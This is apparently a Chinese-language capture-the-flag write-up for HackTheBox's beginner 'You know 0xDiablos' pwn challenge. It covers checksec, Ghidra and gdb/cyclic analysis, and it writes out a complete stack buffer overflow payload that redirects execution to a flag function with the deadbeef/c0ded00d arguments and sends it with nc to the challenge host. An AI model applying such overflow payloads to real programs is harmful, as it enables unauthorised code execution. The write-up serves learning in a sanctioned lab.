这是一道入门的pwn题,入门可以看我写的那个pwn入门专栏,这里很多基础的东西都不解释了
题目网址:
https://app.hackthebox.com/challenges/you-know-0xdiablos

解压密码为hackthebox
file vuln

这是一个32位的程序,动态链接的,没有开启内存随机化
checksec vuln

可以看到,这个程序什么防护都没开
从上到下依次是:
32位程序
部分RELRO,基本上所有程序都默认的有这个
没有开启栈保护
未启用数据执行
没有pie,意思是程序的内存空间不会被随机化
有读,写,和执行的段,意思是我们可以在程序里写入shellcode
用ghidra打开程序,按下键盘的i键,选择程序


双击启动,然后都是默认即可


然后找到main函数


main(void){
puts("You know who are 0xDiablos: ");
vuln();
return 0;
}
程序很简单,输出一串字符串然后调用了vuln函数,我们双击vuln函数

这个函数的功能也很简单,获取了我们的输入,然后再输出

然后看看flag函数


这个函数首先检查flag.txt文件在不在,然后对比两个字符串,如果对比通过就会输出flag文件里的内容
右击十六进制数就能看到对应字符串
程序很简单,只需要溢出覆盖即可,我们还需要创建一个flag.txt保证程序正常运行
echo "good" > flag.txt
用gdb打开程序,在vuln函数的ret指令处下一个断点,方便看看溢出的偏移量
gdb vuln
info functions
记住flag函数地址,一会控制了eip指针就直接跳转到flag函数地址处

0x080491e2
然后在vuln函数ret指令处下断点
disassemble vuln
b *0x080492b0

运行程序,测试溢出的偏移量
cyclic 200
run

查询waab字符的位置
cyclic -l waab

我们需要188个字符就能控制eip寄存器
现在我们控制eip寄存器跳转到flag函数地址处
python2 -c "print 'A'*188+'\xe2\x91\x04\x08'" > test
然后返回gdb
r < test

可以看到,我们成功的跳转到了flag函数内执行代码,继续向下执行


在ebp+8地址处和deadbeef字符做了对比,在ebp+0xc地址处和c0ded00d字符串做了对比,我们看看堆栈里的东西
x $ebp+0x8
x $ebp+0xc
x/50x $esp

这两个地址存放的字符串前还需要覆盖4个垃圾字符才能使程序判断正确输出flag文件内的字符
python2 -c "print 'A'*188+'\xe2\x91\x04\x08'+'AAAA'+'\xef\xbe\xad\xde'+'\x0d\xd0\xde\xc0'" > test
运行程序,将payload发送到里面
cat test - | ./vuln

成功输出flag.txt里的内容,现在获得靶机的远程地址

直接打就是
cat test - | nc 167.99.89.94 31250

成功获得flag